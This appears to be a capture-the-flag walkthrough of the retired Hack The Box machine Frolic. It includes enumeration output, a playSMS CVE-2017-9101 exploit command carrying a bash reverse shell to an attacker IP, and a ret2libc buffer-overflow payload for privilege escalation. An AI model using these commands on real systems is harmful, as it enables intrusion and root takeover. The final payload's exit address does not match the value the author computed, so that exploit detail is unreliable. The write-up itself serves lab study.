HTB Walkthrough: Frolic w/o Metasploit (retired)

Shraddha M.
7 min readMay 27, 2021

Frolic is a retired box on HTB and is part of TJ Null’s OCSP-like boxes.

Hostname: Frolic| Difficulty Level: Easy | Operating System: Linux

NMAP Scan

┌──(root💀kali)-[/home/kali/labs/HTB/Frolic]
└─# nmap -p- -Pn -oA Allports 10.10.10.111
Host discovery disabled (-Pn). All addresses will be marked ‘up’ and scan times will be slower.
Starting Nmap 7.91 ( https://nmap.org ) at 2021–05–24 18:51 EDT
Nmap scan report for 10.10.10.111
Host is up (0.024s latency).
Not shown: 65530 closed ports
PORT STATE SERVICE
22/tcp open ssh
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1880/tcp open vsat-control
9999/tcp open abyss

Enumeration

Browsing to ‘http://10.10.10.111:9999/’ reveals a webpage. Website mentions URL on the homepage — ‘http://forlic.htb:1880’, though it should be frolic instead of forlic (source: nmap). Adding ‘frolic.htb’ in /etc/hosts. Running gobuster to enumerate other webpages.

┌──(root💀kali)-[/home/kali/labs/HTB/Frolic]
└─# sudo gobuster dir -t 50 — url http://10.10.10.111:9999 — wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.111:9999
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/05/24 19:04:47 Starting gobuster in directory enumeration mode
===============================================================
/admin (Status: 301) [Size: 194] [ → http://10.10.10.111:9999/admin/]
/test (Status: 301) [Size: 194] [ → http://10.10.10.111:9999/test/]
/dev (Status: 301) [Size: 194] [ → http://10.10.10.111:9999/dev/]
/backup (Status: 301) [Size: 194] [ → http://10.10.10.111:9999/backup/]
/loop (Status: 301) [Size: 194] [ → http://10.10.10.111:9999/loop/]

Browsing to http://10.10.10.111:9999/backup/ shows below result:

Traversing to ‘http://10.10.10.111:9999/backup/password.txt’ reveals ‘password — imnothuman’ and to ‘http://10.10.10.111:9999/backup/user.txt’ reveals ‘user — admin’. These password did not work on admin page. Viewing source for http://10.10.10.111:9999/admin/, reveals a script source mention ‘js/login.js’

Browsing to ‘http://10.10.10.111:9999/admin/js/login.js’ reveals a code with username and password:

if ( username == “admin” && password == “superduperlooperpassword_lol”){
alert (“Login successfully”);

Login into admin page using above credentials, reveals gibberish strings of ‘.?!’. A google search for encryption algorithms for ‘.?!’ reveals that it is ‘ook’ algorithm. Decrypting it (https://www.splitbrain.org/_static/ook/) reveals below:

Nothing here check /asdiSIAJJ0QWE9JAS

Browsing to ‘http://10.10.10.111:9999/asdiSIAJJ0QWE9JAS/’ reveals another encrypted string. I was unable to find any decryption algorithm. So, I saved the hash in a file and base64 decoded it. It revealed random string with a hint of ‘index.php’ as shown below:
┌──(root💀kali)-[/home/kali/labs/HTB/Frolic]
└─# base64 -d hash.txt
The file is revealed to be a zip file.

┌──(root💀kali)-[/home/kali/labs/HTB/Frolic]
└─# base64 -d hash.txt > out

┌──(root💀kali)-[/home/kali/labs/HTB/Frolic]
└─# file out
out: Zip archive data, at least v2.0 to extract

Cracking zip file password.
┌──(root💀kali)-[/home/kali/labs/HTB/Frolic]
└─# zip2john out > out.zip.hash
ver 2.0 efh 5455 efh 7875 out/index.php PKZIP Encr: 2b chk, TS_chk, cmplen=176, decmplen=617, crc=145BFE23

┌──(root💀kali)-[/home/kali/labs/HTB/Frolic]
└─# john — wordlist=/usr/share/wordlists/rockyou.txt out.zip.hash

┌──(root💀kali)-[/home/kali/labs/HTB/Frolic]
└─# john — show out.zip.hash
out/index.php:password:index.php:out::out

┌──(root💀kali)-[/home/kali/labs/HTB/Frolic]
└─# unzip out
Archive: out
[out] index.php password:
inflating: index.php

Contents of index.php reveals another encrypted string. It is in hex format. Converting the hex string into ascii. https://www.rapidtables.com/convert/number/hex-to-ascii.html

Ascii output looks like base64 encoded. Once, the base64 output is decoded, it looks like string in ‘brainfuck’ encryption format. https://www.dcode.fr/brainfuck-language

These credentials did not work on port 1880. Scanning the 9999 directories using gobuster for more info.

┌──(root💀kali)-[~]
└─# sudo gobuster dir -t 50 — url http://10.10.10.111:9999/dev — wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.111:9999/dev
[+] Method: GET
[+] Threads: 50
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Timeout: 10s
===============================================================
2021/05/25 14:24:47 Starting gobuster in directory enumeration mode
===============================================================
/test (Status: 200) [Size: 5]
/backup (Status: 301) [Size: 194] [ → http://10.10.10.111:9999/dev/backup/]

Exploitation

Browsing to http://10.10.10.111:9999/dev/backup/ displayed ‘/playsms’.
Browsing to http://10.10.10.111:9999/playsms/index.php?app=main&inc=core_auth&route=login reveals a web page. Above admin/idkwhatispass credentials worked. Playsms is vulnerable to CVE-2017–9101. Refer to the script: https://github.com/jasperla/CVE-2017-9101/blob/master/playsmshell.py
Open a netcat session in kali and you will get a reverse shell.

┌──(root💀kali)-[/home/kali/labs/HTB/Frolic]
└─# python3 playsmshell.py — username admin — password idkwhatispass — url http://10.10.10.111:9999/playsms — command “bash -c ‘bash -i >& /dev/tcp/<Kali IP>/9876 0>&1’”

Privilege Escalation

Running linpeas.exe on the target:

[+] SUID — Check easy privesc, exploits and write perms
Interesting files
-rwsr-xr-x 1 root root 7.4K Sep 25 2018 /home/ayush/.binary/rop (Unknown SUID binary)

Checking rop’s file type.

www-data@frolic:/home/ayush/.binary$ file rop
file rop
rop: setuid ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=59da91c100d138c662b77627b65efbbc9f797394, not stripped

It looks like we have to perform Return Oriented Programming (type of buffer overflow). Transferring the ‘rop’ binary to kali and running gdb on it. Refer this link for more info on ROP: https://tc.gts3.org/cs6265/2016/l/lab07-rop/README-tut.txt
Another Source: https://www.win.tue.nl/~aeb/linux/hh/hh-10.html

Looking into main function using gdb:

(gdb) disas main
Dump of assembler code for function main:
0x0804849b <+0>: lea 0x4(%esp),%ecx
0x0804849f <+4>: and $0xfffffff0,%esp
0x080484a2 <+7>: push -0x4(%ecx)
0x080484a5 <+10>: push %ebp
0x080484a6 <+11>: mov %esp,%ebp
0x080484a8 <+13>: push %ebx
0x080484a9 <+14>: push %ecx
0x080484aa <+15>: mov %ecx,%ebx
0x080484ac <+17>: sub $0xc,%esp
0x080484af <+20>: push $0x0
0x080484b1 <+22>: call 0x8048380 <setuid@plt>
0x080484b6 <+27>: add $0x10,%esp
0x080484b9 <+30>: cmpl $0x1,(%ebx)
0x080484bc <+33>: jg 0x80484d5 <main+58>
0x080484be <+35>: sub $0xc,%esp
0x080484c1 <+38>: push $0x80485c0
0x080484c6 <+43>: call 0x8048360 <puts@plt>
0x080484cb <+48>: add $0x10,%esp
0x080484ce <+51>: mov $0xffffffff,%eax
0x080484d3 <+56>: jmp 0x80484ee <main+83>
0x080484d5 <+58>: mov 0x4(%ebx),%eax
0x080484d8 <+61>: add $0x4,%eax
0x080484db <+64>: mov (%eax),%eax
0x080484dd <+66>: sub $0xc,%esp
0x080484e0 <+69>: push %eax
0x080484e1 <+70>: call 0x80484f8 <vuln>
0x080484e6 <+75>: add $0x10,%esp
0x080484e9 <+78>: mov $0x0,%eax
0x080484ee <+83>: lea -0x8(%ebp),%esp
0x080484f1 <+86>: pop %ecx
0x080484f2 <+87>: pop %ebx
0x080484f3 <+88>: pop %ebp
0x080484f4 <+89>: lea -0x4(%ecx),%esp
0x080484f7 <+92>: ret

Let us try to find the seg fault address. We are getting segmentation fault at 56th entity.
(gdb) r $(python -c ‘print “A”*56’)

(gdb) n
Single stepping until exit from function main,
which has no line number information.

Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()

In ROP, we use existing code (called as gadgets) in order to escalate privileges as our own shellcode is prevented from execution. We need to execute ‘system(“/bin/sh”)’ and ‘exit’ gracefully instead of crashing. Tool ‘gdbpeda’ makes it easy to perform search. Getting addresses for system, exit and “/bin/sh”. Payload follows the pattern: Function1 + Function2 + Arguments.
PAYLOAD = system + exit + /bin/sh. I am adding a breakpoint on main function (b main).

┌──(root💀kali)-[/home/kali/labs/HTB/Frolic]
└─# gdb rop
gdb-peda$ b main
gdb-peda$ r
gdb-peda$ print system
$1 = {<text variable, no debug info>} 0xf7e11000 <system>
gdb-peda$ print exit
$2 = {<text variable, no debug info>} 0xf7e03950 <exit>
gdb-peda$ find “/bin/sh”
Searching for ‘/bin/sh’ in: None ranges
Found 1 results, display max 1 items:
libc : 0xf7f5833c (“/bin/sh”)

gdb-peda$ r $(python -c ‘print “A”*52+”\x00\x10\xe1\xf7"+”\x50\x39\xe0\xf7"+”\x3c\x83\xf5\xf7"’)

This results in segmentation fault.

Executing above in reverse shell. As we do not have gdb on user shell, we rely on libc base addresses.
(a) Getting addresses

www-data@frolic:/home/ayush/.binary$ ldd rop
ldd rop
linux-gate.so.1 => (0xb7fda000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
/lib/ld-linux.so.2 (0xb7fdb000)

www-data@frolic:/home/ayush/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep “system”
grep “system”ib/i386-linux-gnu/libc.so.6 |
245: 00112f20 68 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.0
627: 0003ada0 55 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
1457: 0003ada0 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0

www-data@frolic:/home/ayush/.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep “exit”
grep “exit”/lib/i386-linux-gnu/libc.so.6 |
112: 0002edc0 39 FUNC GLOBAL DEFAULT 13 __cxa_at_quick_exit@@GLIBC_2.10
141: 0002e9d0 31 FUNC GLOBAL DEFAULT 13 exit@@GLIBC_2.0
450: 0002edf0 197 FUNC GLOBAL DEFAULT 13 __cxa_thread_atexit_impl@@GLIBC_2.18
558: 000b07c8 24 FUNC GLOBAL DEFAULT 13 _exit@@GLIBC_2.0
616: 00115fa0 56 FUNC GLOBAL DEFAULT 13 svc_exit@@GLIBC_2.0
652: 0002eda0 31 FUNC GLOBAL DEFAULT 13 quick_exit@@GLIBC_2.10
876: 0002ebf0 85 FUNC GLOBAL DEFAULT 13 __cxa_atexit@@GLIBC_2.1.3
1046: 0011fb80 52 FUNC GLOBAL DEFAULT 13 atexit@GLIBC_2.0
1394: 001b2204 4 OBJECT GLOBAL DEFAULT 33 argp_err_exit_status@@GLIBC_2.1
1506: 000f3870 58 FUNC GLOBAL DEFAULT 13 pthread_exit@@GLIBC_2.0
2108: 001b2154 4 OBJECT GLOBAL DEFAULT 33 obstack_exit_failure@@GLIBC_2.0
2263: 0002e9f0 78 FUNC WEAK DEFAULT 13 on_exit@@GLIBC_2.0
2406: 000f4c80 2 FUNC GLOBAL DEFAULT 13 __cyg_profile_func_exit@@GLIBC_2.2

www-data@frolic:/home/ayush/.binary$ strings -tx /lib/i386-linux-gnu/libc.so.6 | grep “/bin/sh”
grep “/bin/sh”b/i386-linux-gnu/libc.so.6 |
15ba0b /bin/sh

(b) Computing end addresses (adding libc.so.6 base address)
For system:
0xb7e19000 + 0x0003ada0 = 0xb7e53da0
For exit:
0xb7e19000 + 0x0002e9d0 = 0xb7e479d0
For /bin/sh:
0xb7e19000 + 0x15ba0b = 0xb7f74a0b

I used gdbpeda running in kali to compute these values.

gdb-peda$ p 0xb7e19000 + 0x0003ada0
$3 = 0xb7e53da0

c) Creating payload.
www-data@frolic:/home/ayush/.binary$ ./rop `python -c “print ‘A’*52 + ‘\xa0\x3d\xe5\xb7’ + ‘\xd0\x79\xe4\xb4’ + ‘\x0b\x4a\xf7\xb7’”`

And you will get reverse shell + root flag.

--

--